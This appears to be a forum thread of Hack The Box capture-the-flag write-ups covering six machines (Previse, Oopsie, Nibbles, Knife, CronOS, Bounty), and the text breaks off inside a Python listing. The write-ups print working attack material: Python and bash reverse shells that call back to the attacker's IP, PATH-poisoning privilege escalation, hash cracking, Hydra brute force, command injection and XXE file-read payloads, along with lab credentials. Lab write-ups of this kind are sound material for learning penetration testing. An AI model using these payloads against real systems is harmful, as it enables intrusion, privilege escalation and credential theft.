www-data@previse:/var/www/html$ #### Privilege Escalation Now that I can use the terminal without constrains, I will enumerate the local directories before proceeding to mysql. Usually, we use oneliners but I have found that it is normally better to manually go through the initial folders within /var/www/html up until /var/ and if you don't find anything proceed to automatic enumeration with *find* and other privesc tools. In this case tho, my curiousity led me to check /opt as well since it is where user files could be located as well. www-data@previse:/var/www/html$ cd .. www-data@previse:/var/www$ ls file_access.log html out.log www-data@previse:/var/www$ cd .. www-data@previse:/var$ ls backups crash local log opt snap tmp cache lib lock mail run spool www www-data@previse:/var$ cd tmp www-data@previse:/var/tmp$ ls www-data@previse:/var/tmp$ cd .. www-data@previse:/var$ cd /opt www-data@previse:/opt$ ls scripts www-data@previse:/opt$ cd scripts www-data@previse:/opt/scripts$ ls access_backup.sh log_process.py www-data@previse:/opt/scripts$ file access_backup.sh access_backup.sh: Bourne-Again shell script, ASCII text executable www-data@previse:/opt/scripts$ cat access_backup.sh #!/bin/bash # We always make sure to store logs, we take security SERIOUSLY here # I know I shouldnt run this as root but I cant figure it out programmatically on my account # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz www-data@previse:/opt/scripts$ ls -la total 16 drwxr-xr-x 2 root root 4096 Jul 26 18:41 . drwxr-xr-x 3 root root 4096 Jul 26 18:41 .. -rwxr-xr-x 1 root root 486 Jun 6 12:49 access_backup.sh -rw-r--r-- 1 m4lwhere m4lwhere 320 Jun 6 12:25 log_process.py www-data@previse:/opt/scripts$ We have found a script called "access_backup.sh" that is owned by root and uses gzip to convert some files that serve another script we used previously on the website. We can also execute the script which will enable us to probably escalate through it later on. www-data@previse:/opt/scripts$ mysql -u root -p -D previse Enter password: mysql> SHOW databases -> ; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | previse | | sys | +--------------------+ mysql> use previse Database changed mysql> SHOW tables; +-------------------+ | Tables_in_previse | +-------------------+ | accounts | | files | +-------------------+ 2 rows in set (0.00 sec) mysql> SELECT * from accounts; +----+----------+------------------------------------+---------------------+ | id | username | password | created_at | +----+----------+------------------------------------+---------------------+ | 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 | | 2 | test123 | $1$🧂llol$sP8qi2I.K6urjPuzdGizl1 | 2021-11-17 09:12:13 | +----+----------+------------------------------------+---------------------+ 2 rows in set (0.00 sec) We have gotten a password hash of the user m4lwhere. Now I have to crack it on my local kali. We see it starts with '$1$' , investigating it with hashcat we see it corresponds to UNIX OS md5crypt: ![[md5.PNG]] The above screenshot about the help menu of hashcat provides us with an example for the usage of hashcat as well. ┌──(root💀kali)-[~] └─# echo '$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.' > to-crack.hash ┌──(root💀kali)-[~] └─# hashcat -a 0 -m 500 to-crack.hash /usr/share/wordlists/rockyou.txt 3 ⨯ hashcat (v6.1.1) starting... <snipped strings> [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s Session..........: hashcat Status...........: Running Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) Hash.Target......: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. Time.Started.....: Wed Nov 17 05:28:25 2021 (8 secs) Time.Estimated...: Wed Nov 17 05:43:09 2021 (14 mins, 36 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 16236 H/s (7.22ms) @ Accel:64 Loops:500 Thr:1 Vec:8 Recovered........: 0/1 (0.00%) Digests Progress.........: 118016/14344385 (0.82%) Rejected.........: 0/118016 (0.00%) Restore.Point....: 118016/14344385 (0.82%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000 Candidates.#1....: ester1 -> death7 Time.Estimated...: 14 mins, 36 secs - Time for some Asmonbald videos to kill some time watching him complaining about Activision killing his favorite game. $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235! Session..........: hashcat Status...........: Cracked Now that we have the user flag, it is time to proceed to rooting the machine. I have used *find* to look for SETUID files. **Always** check for user owned files and commands that the user may run on the machine with *sudo -l*. m4lwhere@previse:~$ find / -perm -u=s -type f 2>/dev/null /usr/bin/newgidmap /usr/bin/chfn /usr/bin/pkexec /usr/bin/newuidmap /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/newgrp /usr/bin/chsh /usr/bin/passwd /usr/bin/at /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /bin/su /bin/fusermount /bin/umount /bin/mount /bin/ping m4lwhere@previse:~$ sudo -l [sudo] password for m4lwhere: User m4lwhere may run the following commands on previse: (root) /opt/scripts/access_backup.sh As expected, from our previous enumeration, we see the access_backup.sh and we are now 100% sure this is de wei to root. www-data@previse:/opt/scripts$ cat access_backup.sh #!/bin/bash # We always make sure to store logs, we take security SERIOUSLY here # I know I shouldnt run this as root but I cant figure it out programmatically on my account # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz 1. Path poison attempt 1 - partially unsuccessful. I got root, but I could not make almost any system commands. I thought I broke the PATH variable. I also tried specifying the absolute path like /bin/ls but it did not work. m4lwhere@previse:/tmp$ echo "/bin/bash" > gzip m4lwhere@previse:/tmp$ chmod 777 gzip m4lwhere@previse:/tmp$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH m4lwhere@previse:/tmp$ cd /opt/scripts/ m4lwhere@previse:/opt/scripts$ ls access_backup.sh log_process.py m4lwhere@previse:/opt/scripts$ sudo ./access_backup.sh root@previse:/opt/scripts# whoami root@previse:/opt/scripts# id root@previse:/opt/scripts# cd .. root@previse:/opt# cd root@previse:~# /bin/ls root@previse:~# echo $PATH 2. Path poison attempt 2 - Cleared the content of gzip and inserted this instead: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10(CHANGE THIS to your ip)",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` I usually find this to be really useful website when it comes to reverse shells: https://sentrywhale.com/documentation/reverse-shell - Listen for a connection on port 8000 with a netcat listener: ┌──(root💀kali)-[~] └─# nc -nvlp 8000 1 ⨯ listening on [any] 8000 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 53964 # id uid=0(root) gid=0(root) groups=0(root)
  15. h3xu

    Oopsie

    # Enumeration #### nmap # nmap -sV -sC -p- -T4 -oA oopsie opsie.htb 130 ⨯ Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-15 06:18 EDT Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 42.25% done; ETC: 06:19 (0:00:12 remaining) Nmap scan report for opsie.htb (10.10.10.28) Host is up (0.17s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA) | 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA) |_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ## Web Application #### Nikto # nikto -h opsie.htb - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.28 + Target Hostname: opsie.htb + Target Port: 80 + Start Time: 2021-09-15 06:20:43 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + IP address found in the 'location' header. The IP is "127.0.1.1". + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1". + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-10944: : CGI Directory found + OSVDB-10944: /cdn-cgi/login/: CGI Directory found + OSVDB-3233: /icons/README: Apache default file found. + 10216 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2021-09-15 06:36:11 (GMT-4) (928 seconds) --------------------------------------------------------------------------- + 1 host(s) tested #### Gather Intel Found admin email at the bottom of the page: [email protected] #### Dirbuster: Found login page at /cdn-cgi/login/index.php: ![[Pasted image 20210915134710.png]] #### THC-Hydra Bruteforcing the admin email account on the cgi login form: # hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt opsie.htb http-post-form "/cdn-cgi/login/index.php:username=^USER^&password=^PASS^:F=Login" MEGACORP_4dm1n!! # Reverse Shell We're presented with an authenticated page which contains uploads. However, we cannot reach that page as we are unrpviliged : ![[Pasted image 20210915163835.png]] I access accounts page and notice an id variable which could be changed to show another user by its id. ![[Pasted image 20210915164539.png]] I use intruder to bruteforce the ids by inserting a thousand numbers from 1 to 1000 and found a super user at 30: ![[Pasted image 20210915164700.png]] I access `http://opsie.htb/cdn-cgi/login/admin.php?content=uploads&action=upload` then I change the request with the id and username of super user from within burp. Then generate the burp request within the browser and receive access to the uploads where I upload a php reverse shell which was denied upload but I caught the request again and changed the id and the username to super user again and the file was uploadded. Next, setup netcat: # nc -nvlp 1234 and curl the file from /uploads: # curl http://10.10.10.28/uploads/php-reverse-shell.php # Privilege Escalation Found robert's credentials in website's files within login. www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php <?php $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage'); ?> as robert, his group is called bugtrack i found a file called bugtrack in /usr/bin/ that is with setuid and owned by root. checked its strings and found it uses cat. gonna try to poison the path.. ![[Pasted image 20210915192101.png]] ----------------------------------------- 1. Files with SUID set on. 1. find / -user root -perm -4000 2>/dev/null 2. Investigate the type of file it is: 1. file /usr/bin/bugtracker 3. Investigate the contents of the file and try to understand what it does: 1. strings /usr/bin/bugtracker 4. Open the file to see what it does: 1. it uses cat to dump contents of file 5. Create a new file called "cat" in a write-able directory and add to its contents /bin/bash 1. echo '/bin/bash' > cat 6. Change cat's permissions to 777 1. chmod 777 cat 7. See what is the current directory where the 'cat' file exists and export it: 1. pwd 2. export PATH=/home/robert:$PATH 8. Check if the PATH is exported correctly: 1. echo $PATH 9. Run the vulnerable file: 1. /usr/bin/bugtracker 2. whoami: root
  16. h3xu

    Nibbles

    # Enumeration ## NMAP The nmap scan reveals 2 open ports: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ## Let's see what's the WebApp like. We're greeted by a ***Hello World!*** message. ![[Pasted image 20210409152510.png]] The source code of the page reveals a directory:![[Pasted image 20210409152620.png]] ## Dirbuster Using dirbuster, I have found files within /nibbleblog/content/private/config.xml directory and was able to enumerate possible users:![[Pasted image 20210409152955.png]] I also found a feed.php file which let me into researching if it was a possible attack vector. The research led me into finding this interesting article about feed.php and XSS.[feed injection in web](https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/EN-Feed%20Injection%20In%20Web%202.0.pdf) Anyway.. while it was interesting find, I did not see how it would apply here. So i continued looking. ## Searchsploit I was going nowhere until i simply typed: searchsploit nibble --------------------------------------------------------------------------------------------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------- --------------------------------- Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb ----------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Ahh, it looks we have hit. Let's try metasploit: msf6 > search nibble Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload I have used the previously enumerated username:password == admin:nibbles: msf6 exploit(multi/http/nibbleblog_file_upload) > exploit [*] Started reverse TCP handler on 10.10.14.6:4444 [*] Sending stage (39282 bytes) to 10.10.10.75 [+] Deleted image.php [*] Meterpreter session 2 opened (10.10.14.6:4444 -> 10.10.10.75:32812) at 2021-04-09 08:00:26 -0400 In the following lines I am interacting with the shell. Finally I have discovered interesting file that is with 777 rights. meterpreter > shell Process 1587 created. Channel 0 created. whoami nibbler python3 -c 'import pty;pty.spawn("/bin/bash")' nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler <ml/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler nibbler@Nibbles:/home/nibbler$ ls ls personal.zip user.txt nibbler@Nibbles:/home/nibbler$ unzip personal.zip unzip personal.zip Archive: personal.zip creating: personal/ creating: personal/stuff/ inflating: personal/stuff/monitor.sh nibbler@Nibbles:/home/nibbler$ cd personal/stuff/ cd personal/stuff/ nibbler@Nibbles:/home/nibbler/personal/stuff$ file monitor.sh file monitor.sh monitor.sh: ASCII text nibbler@Nibbles:/home/nibbler/personal/stuff$ ll ll ll: command not found nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la ls -la total 12 drwxr-xr-x 2 nibbler nibbler 4096 Dec 10 2017 . drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 .. -rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh Catting the file revealed nothing interesting tho. After some time, I tried: sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh AHA! This is our gate to escalating privileges. I have removed the unzipped file and instead uploaded a simple bash script: nibbler@Nibbles:/home/nibbler/personal/stuff$ rm monitor.sh rm monitor.sh I could not use any editors on the machine, so i Had to create it locally and upload it to the victim. meterpreter > upload monitor.sh [*] uploading : /home/kali/Desktop/monitor.sh -> monitor.sh [*] Uploaded -1.00 B of 21.00 B (-4.76%): /home/kali/Desktop/monitor.sh -> monitor.sh [*] uploaded : /home/kali/Desktop/monitor.sh -> monitor.sh I have moved the file to ***/home/nibbler/personal/stuff*** and execute the following commands to gain root: cat monitor.sh bash -i chmod +x monitor.sh sudo /home/nibbler/personal/stuff/monitor.sh bash: cannot set terminal process group (1360): Inappropriate ioctl for device bash: no job control in this shell root@Nibbles:/home/nibbler/personal/stuff# id id uid=0(root) gid=0(root) groups=0(root)
  17. h3xu

    Knife

    # Enumeration ## nmap # nmap -p- -A -v 10.10.10.242 -oA knife <deleted> PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) | 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Emergent Medical Idea Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel #### Port 80 HTTP Additional information leaked from headers ![[Pasted image 20210720125601.png]] #### Searchsploit Looking at the php, apache versions I have discovered that PHP is vulnerable and there is a python script that spawns shell. # searchsploit -m php/webapps/49933.py Exploit: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution URL: https://www.exploit-db.com/exploits/49933 Path: /usr/share/exploitdb/exploits/php/webapps/49933.py File Type: HTML document, ASCII text, with CRLF line terminators Copied to: /root/49933.py # Exploit # python3 49933.py 1 ⨯ Enter the full host url: http://knife.htb Interactive shell is opened on http://knife.htb Can't acces tty; job crontol turned off. $ whoami james $ # Privilege Escalation $ sudo -l Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knife $ file /usr/bin/knife /usr/bin/knife: symbolic link to /opt/chef-workstation/bin/knife $ file /opt/chef-workstation/bin/knife /opt/chef-workstation/bin/knife: a /opt/chef-workstation/embedded/bin/ruby --disable-gems script, ASCII text executable $ sudo /usr/bin/knife exec --help knife exec [SCRIPT] (options) -s, --server-url URL Chef Infra Server URL. --chef-zero-host HOST Host to start Chef Infra Zero on. --chef-zero-port PORT Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works. -k, --key KEY Chef Infra Server API client key. --[no-]color Use colored output, defaults to enabled. -c, --config CONFIG The configuration file to use. --config-option OPTION=VALUE Override a single configuration option. --defaults Accept default values for all questions. -d, --disable-editing Do not open EDITOR, just accept the data as is. -e, --editor EDITOR Set the editor to use for interactive commands. --environment ENVIRONMENT Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored). -E, --exec CODE A string of Chef Infra Client code to execute. --[no-]fips Enable FIPS mode. -F, --format FORMAT Which format to use for output. (valid options: 'summary', 'text', 'json', 'yaml', or 'pp') --[no-]listen Whether a local mode (-z) server binds to a port. -z, --local-mode Point knife commands at local repository instead of Chef Infra Server. -u, --user USER Chef Infra Server API client username. --print-after Show the data after a destructive operation. --profile PROFILE The credentials profile to select. -p, --script-path PATH:PATH A colon-separated path to look for scripts in. -V, --verbose More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity. -v, --version Show Chef Infra Client version. -y, --yes Say yes to all prompts for confirmation. -h, --help Show this help message. $ sudo knife exec -E 'exec "/bin/sh -i"' No input file specified. $ exit $ ^CExiting... Tried multiple inputs but I am constantly getting *No input file specified.* I think it is because of the exploit. Let's find another one. # wget https://dl.packetstormsecurity.net/2105-exploits/php_8.1.0-dev.py.txt -o php-exploit.py # cat php-exploit.py <deleted> #Usage: python3 php_8.1.0-dev.py -u http://10.10.10.242/ -c ls <deleted> # python3 php-exploit.py -u http://knife.htb -c id [+] Results: uid=1000(james) gid=1000(james) groups=1000(james) # nc -nvlp 1234 1 ⨯ listening on [any] 1234 ... # python3 php-exploit.py -u http://knife.htb -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.7/1234 0>&1'" Now that we have reverse shell and we can freely interact, we can continue on.```bash # nc -nvlp 1234 listening on [any] 1234 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.242] 51272 bash: cannot set terminal process group (944): Inappropriate ioctl for device bash: no job control in this shell james@knife:/$ james@knife:/$ james@knife:/tmp$ sudo /usr/bin/knife exec -E "exec '/bin/sh -i'" sudo /usr/bin/knife exec -E "exec '/bin/sh -i'" /bin/sh: 0: can't access tty; job control turned off # whoami root Pretty good. Enjoy your day! 🙂
  18. h3xu

    CronOS

    # Enumeration The enumeration results show 3 open ports: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel So, we are dealing with an Ubuntu machine that is hosting a WebApp. Port 53 is also open and an ISC BIND service running. Let's research on it a little bit more. [ISC Bind 9](https://www.isc.org/bind/) has evolved to be a very flexible, full-featured DNS system. Whatever your application is, BIND 9 probably has the required features. As the first, oldest, and most commonly deployed solution, there are more network engineers who are already familiar with BIND 9 than with any other system. I was having problems connecting to the web service so I added the IP to the /etc/hosts file. ![[Pasted image 20210413095138.png]] # DNS Enumeration (link) Check out the video from hackersploit and learn about dns enumeration and zone transfers to understand the following lines. $ dig axfr @10.10.10.13 cronos.htb ; <<>> DiG 9.16.2-Debian <<>> axfr @10.10.10.13 cronos.htb ; (1 server found) ;; global options: +cmd cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb. 604800 IN NS ns1.cronos.htb. cronos.htb. 604800 IN A 10.10.10.13 admin.cronos.htb. 604800 IN A 10.10.10.13 ns1.cronos.htb. 604800 IN A 10.10.10.13 www.cronos.htb. 604800 IN A 10.10.10.13 cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 ;; Query time: 28 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: Tue Apr 13 07:09:07 UTC 2021 ;; XFR size: 7 records (messages 1, bytes 203) I have found a couple of domains linked to cronos. Let's add them to the /etc/hosts file too in order to access them on the browser. ![[Pasted image 20210413101836.png]] # Admin.cronos.htb & SQLi ![[Pasted image 20210413101925.png]] A Quick SQLi check let's us in. ![[Pasted image 20210413102037.png]] Two tools are running on the welcome.php page. *Ping* and *traceroute*. From Burp, I have poked the application and discovered command injection.### Request POST /welcome.php HTTP/1.1 Host: admin.cronos.htb User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 38 Origin: http://admin.cronos.htb DNT: 1 Connection: close Referer: http://admin.cronos.htb/welcome.php Cookie: PHPSESSID=huubsof4d0e5ged45ge0gflp26 Upgrade-Insecure-Requests: 1 Sec-GPC: 1 command=traceroute&host=8.8.8.8%3Bls+. I have encoded a semicolon and added the ls command for the current directory. ### Response HTTP/1.1 200 OK Date: Tue, 13 Apr 2021 08:01:47 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 527 Connection: close Content-Type: text/html; charset=UTF-8 <html"> <head> <title>Net Tool v0.1 </title> </head> <body> <h1>Net Tool v0.1</h1> <form method="POST" action=""> <select name="command"> <option value="traceroute">traceroute</option> <option value="ping -c 1">ping</option> </select> <input type="text" name="host" value="8.8.8.8"/> <input type="submit" value="Execute!"/> </form> config.php<br> index.php<br> logout.php<br> session.php<br> welcome.php<br> <p><a href = "logout.php">Sign Out</a></p> </body> </html>
  19. h3xu

    Bounty

    # Enumeration #### nmap We've found two open ports: 22, 80. # nmap -p- -sV -sC -oA bounty 10.10.11.100 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-04 05:02 EDT Nmap scan report for 10.10.11.100 Host is up (0.049s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA) | 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA) |_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Bounty Hunters Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Port 80 The initial page presents us a couple of buttons: * About ![[about us.png]] * Contact ![[contact us.png]] sending any type of message does not get through as a request but instead it goes to the beginning of the page. * Portal It is a bounty portal to submit information. It reflects the input - possible reflected xss ? ![[Pasted image 20210804121947.png]] It says that the db is not ready.... #### nikto Nikto found an interesting php file called ***db.php*** . Maybe it has something in common with the db from the portal. # nikto -h bounty.htb - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.11.100 + Target Hostname: bounty.htb + Target Port: 80 + Start Time: 2021-08-04 05:06:04 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner. + 7786 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2021-08-04 05:13:45 (GMT-4) (461 seconds) #### db.php Tried changing the GET request to OPTIONS, PUT and POST but i always receive only 200 OK with no other information. ![[Pasted image 20210804122446.png]] #### Dirbuster Running dirbuster with default dirbuster wordlist discovered the following directories and files: ![[dirb.png]] #### bounty.htb/resources/README.txt Tasks: [ ] Disable 'test' account on portal and switch to hashed password. Disable nopass. [X] Write tracker submit script [ ] Connect tracker submit script to the database [X] Fix developer group permissions #### bounty.htb/resources/bountylog.js From the code beneath we see that the variable and the input is actually xml. The only thing It comes to my mind is XXE. Let's go back to the portal and test. function returnSecret(data) { return Promise.resolve($.ajax({ type: "POST", data: {"data":data}, url: "tracker_diRbPr00f314.php" })); } async function bountySubmit() { try { var xml = `<?xml version="1.0" encoding="ISO-8859-1"?> <bugreport> <title>${$('#exploitTitle').val()}</title> <cwe>${$('#cwe').val()}</cwe> <cvss>${$('#cvss').val()}</cvss> <reward>${$('#reward').val()}</reward> </bugreport>` let data = await returnSecret(btoa(xml)); $("#return").html(data) } catch(error) { console.log('Error:', error); } } #### Portal test for XXE The following oneliner should send a connection to me if it works. In order for the application to understand the request, we need to encode it in base64 (ctrl+B in burp suite): ![[XXE test.png]] And the test is successful: ![[XXE Successful.png]] The following script is taken from (https://www.blackhillsinfosec.com/xml-external-entity-beyond-etcpasswd-fun-profit/)[blackhillsinfosec] with a little edit, we write assign a variable *xml* with a value that will be executed once envoked from the developer console. var xml = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]> <bugreport> <title>&xxe;</title> <cwe>something</cwe> <cvss>something</cvss> <reward>something</reward> </bugreport>` to Invoke xml: returnSecret(btoa(xml)); Copy the base64 and decode it to get the db file contents. It contains credentials. Now extract the users from the system with the following script: var xml = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bugreport> <title>&xxe;</title> <cwe>something</cwe> <cvss>something</cvss> <reward>something</reward> </bugreport> # returnSecret(btoa(xml;)) Move the users into a file and sort the contents: # cut -d : -f 1 passwords > usrs # Exploit #### Hydra # hydra -L usrs -p <password from db file> 10.10.11.100 ssh #### USER SSH-ing into the machiine as the found user:credentials gives us user. # Privilege Escalation We have a ticket validator file that we can run as root with no password required, also we can run python3.8 (how convenient :D)```bash $ sudo -l Matching Defaults entries for development on bountyhunter: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py #### Ticket Validator Analysis 1. The ticket has to end with .md extension. 2. The contents of the file has to start with "# Skytrain Inc" 3. The following line has to point to destination as so: ## Ticket to 4. the ticket code should start with: __Ticket Code:__ 5. The code is looking for 2x star symbol ( ** ) to remove it and split at position 0 where the + is found. example: **102+```python #Skytrain Inc Ticket Validation System 0.1 #Do not distribute this file. def load_file(loc): if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit() def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0: if not x.startswith("# Skytrain Inc"): return False continue if i == 1: if not x.startswith("## Ticket to "): return 